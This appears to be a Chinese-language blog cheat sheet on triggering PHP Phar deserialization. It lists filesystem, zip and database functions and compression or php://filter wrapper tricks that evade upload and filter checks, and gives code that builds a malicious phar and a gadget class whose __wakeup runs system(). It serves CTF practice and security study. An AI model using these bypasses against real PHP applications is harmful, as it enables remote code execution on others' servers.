Phar://的绕过

Phar的绕过

[TOC]

General 1920x1080 Gordon Zuchhold (Artstation) digital art science fiction pixel art city cyberpunk animation futuristic city ArtStation artwork futuristic

受害函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen`
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

img

exif gd hash file/url standard
exif_thumbnail imageloadfont hash_hmac_file
hash_file
hash_update_file
get_meta_tags getimagesize
exif_imagetype imagecreatefrom***系列函数 md5_file
sha1_file
get_headers getimagesizefromstring

zip函数

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test.txt');

数据库函数

Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能

Mysql

//LOAD DATA LOCAL INFILE触发phar
//先配置mysqld
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'mysql', 3306);
//LOAD DATA LOCAL INFILE
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

phar文件压缩

phar://(文件生成前设置好) compress.bzip(zlib)
.tar.gz compress.bzip://phar://./test.phar/test.txt
.tar compress.bzip2://phar://...
.gz compress.zlib://phar://...
.bz2 compress.bzip2://phar://...
php默认不开启bzip2(bz2)支持,需要在php.ini 867行(可能有差)将extension=php_bz2.dll的注释取消
否则会报Unable to find the wrapper "compress.bzip2"
并且在php.ini 725行(可能有差)将extension_dir修改为自己的ext路径(我的是extension_dir = "D:/DevelopTools/php-7.0.0/ext",然后记得要用斜杠而不是反斜杠)
否则会报PHP Startup: Unable to load dynamic library(好像ext不设置的话默认路径是C:/php/ext(windows))

$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);

compress.bzip://phar://...
compress.bzip2://phar://...
compress.zlib2://phar://...
compress.zlib://phar://...
php://filter/resource=phar://....
php://filter/read=convert.base64-encode/resource=phar://phar.phar

php://filter/read=convert.base64-encode/resource=phar://phar.phar

大佬的总结:

在这里插入图片描述

.tar
$phar = $phar->convertToExecutable(Phar::TAR)
phar://phar.phar.tar
compress.zlib://phar://phar.phar.tar
compress.bzip2://phar://phar.phar.tar
ps: 直接使用tar并不能消去<?php __HALT_COMPILER(); ?>

.tar.gz
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ)
phar://phar.phar.tar.gz
compress.zlib://phar://phar.phar.tar.gz
compress.bzip2://phar://phar.phar.tar.gz

.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2)
phar://phar.phar.tar.bz2
compress.zlib://phar://phar.phar.tar.bz2
compress.bzip2://phar://phar.phar.tar.bz2

.zip
Phar::SHA256
$phar = $phar->convertToExecutable(Phar::ZIP,)
phar://phar.phar.zip
compress.zlib://phar://phar.phar.zip
compress.bzip2://phar://phar.phar.zip
<?php 
class test{
    public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

一些其它协议流

php中一些常见流包装器:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php://input

可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。

而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

php://output

是一个只写的数据流, 允许你以 printecho 一样的方式 写入到输出缓冲区。

参考文章:

black hat ppt

Phar与php rce的深入挖掘

论文

Seebug

p神离别歌

Y4tacker师傅的博客

Phar反序列化

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇